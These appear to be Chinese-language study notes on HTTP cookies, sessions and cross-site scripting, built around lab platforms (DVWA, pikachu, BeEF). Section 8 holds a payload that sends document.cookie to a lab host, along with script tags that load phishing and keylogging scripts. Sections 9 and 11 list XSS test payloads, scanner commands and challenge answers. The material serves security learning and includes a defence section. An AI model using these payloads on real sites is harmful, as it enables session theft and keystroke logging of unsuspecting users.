1,HTTP协议回顾
一,HTTP特点
- 请求应答模式
- 灵活可扩展
- 可靠传输
- 无状态 stateless
二,请求方式
常用方式:GET,POST,PUT,HEAD
不常用:DELETE,TRACE,OPTIONS,CONNECT
三,请求格式
请求方法 请求的url HTTP版本
Accept:
Referer:
UserAgent:
Host:
Content-type:
Cookie:
四,响应格式
响应协议版本 状态码 描述
Server:
Content-Type:
Date:
2,客户端的Cookie
一,无状态的影响
现实:每个请求都是独立的
需求:保持会话
二,Cookie内容
key/value格式,例如:
expires=Thu,31——过期事件
max-age=2147 ——过期事件,优先级高
domain=.baidu.com——在此域名下生效
三,Cookie怎么产生的
客户端第一次访问服务器后,服务器做出回应,回应中给予标记set-cookie
客户端接收到服务器所给的标记,将cookie保持到本地,下一次访问使用cookie进行身份识别
四,Cookie特点
- 明文
- 可修改
- 大小受限(视浏览器而定)
五,Cookie的用途
- 记住登录状态
- 跟踪用户行为
3,服务端的Session
一,coolkie和session
Cookie保持在客户端
Session保存在服务端,服务器仅将sessid发给客户端,id用以匹配session
二,Session的生命周期
- 客户端第一次访问服务器,服务器将信息保存为session
- 如果客户端需要记住密码,则服务器将session id以cookie的形式发送给客户端
- 以后客户端每次访问都发送cookie,服务器将cookie匹配session来判断登录状态。
- 客户端发送注销指令,服务器将销毁session,并使cookie过期。
4,JavaScript操作Cookie
一,使用edit-cookie进行操作
二,如何远程获取cookie
js语法:
- 获取:document.cookie;
- 设置:document.cookie=“username=test”;
- 修改:
- 删除:document.cookie=‘name=test;expires=Thu, 01 Jan 1970 00:00:00 GMT’
在别人浏览器上运行改脚本执行获取cookie。
5,脚本注入网页:XSS
一,XSS (cross sit script)
攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面的时候,代码就会执行,这个时候就达到了攻击者目的。
存在此漏洞的语言:JavaScript Java VBScript ActiveX Flash
XSS的类型:反射型(dom)、 存储型
二,反射型XSS
- 攻击者发送带有恶意脚本的链接给客户
- 客户点击链接访问服务器
- 服务器将包含恶意代码的数据返回给用户浏览器
- 用户浏览器解析恶意代码并执行,使攻击者获取数据
三,存储型XSS
- 攻击者通过表单提交恶意代码,保存在服务器数据库中
- 当其他用户访问服务器时,服务器将带有恶意代码的数据发送给用户
- 用户浏览器解析恶意代码并执行
- 将数据自动发送至黑客服务器
6,获得Cookie发送邮件
一,
无
7,XSS靶场联系
一,安装DVWA
二,相关代码
<script>alert('1')</script>
<scr<script>ipt>alert('1')</script>
<img src='' οnerrοr="alert('1')">
8,XSS平台搭建
一,pikachu平台的配置
配置文件路径:
- pikachu-master\pkxss\inc\config.inc.php
- pikachu-master\inc\config.inc.php
二,payload
- pikachu-master\pkxss\xcookie\cookie.php——反射型
<script>document.location='http://192.168.133.1/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
- pikachu-master\pkxss\xcookie\post.html——存储型
http://192.168.133.1/pikachu-master/pkxss/xcookie/post.html
- pikachu-master\pkxss\xfish\fish.php——钓鱼
<script src="http://192.168.133.1/pikachu-master/pkxss/xfish/fish.php"></script>
- pikachu-master\pkxss\rkeypress\rk.js——键盘记录
<script src="http://192.168.133.1/pikachu-master/pkxss/rkeypress/rk.js"></script>
- 更多payload可以搜索网站xss平台进行操作。
三,xss平台
- xssplatform
kali-beef -xss
四,beef的使用
apt-get update --fix-missing
apt install ruby
apt-get install beef-xss
9,XSS检测和利用
一,测试payload
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
><script>alert(document.cookie)</script>
>='><script>alert(document.cookie)</script>
"><script>alert(document.cookie)</script>
%3Cscript%3Ealert(document.cookie)%3C/script%3E
<img src="javasript:alert('XSS')">
οnerrοr="alert('XSS')">
诱饵:<script"'Oonn>
' οnmοuseοver='alert(/xss/)
"><a href="javascript:alert:alert(/xss/)">click</a>
"oonnmouseover="alert(/xss/)
二,XSSER(软件)
xsser -h
xsser -u "http://192.168.133.1/dvwa/vulnerabilities/xss_r/?name=1" --cookie="PHPSESSID=8jidogbf98qmie8hgc0e19ltj0; security=low" -g "xss_r/?name=XSS" -s -v --reverse-check
xsser --gtk
三,XSSSTRIKE
git clone https://github.com/s0md3v/XSStrike
环境:python3.6以上
#get
python3 xsstrike.py -u "http://192.168.133.1/pikachu-master/vul/xss/xss_reflected_get.php?message=123132&submit=submit"
#post
python3 xsstrike.py -u "http://192.168.133.1/xss/xss_reflected_get.php" --data 'name=1'
10,XSS防御方法
一,过滤输入
入口:
识别:正则
二,处理输出
echo “”;
document.write()
htmlspecialchars——使字符实体化
三,WAF
11,XSS闯关
一,先检测
诱饵:<script"'Oonn>
二,
level8:javascript:alert(‘xss’)
level9:
level10:t_sort=click" type=“button” οnclick=“alert(/xss/)
level11:t_ref=” type=“text” οnclick="alert(‘xss’)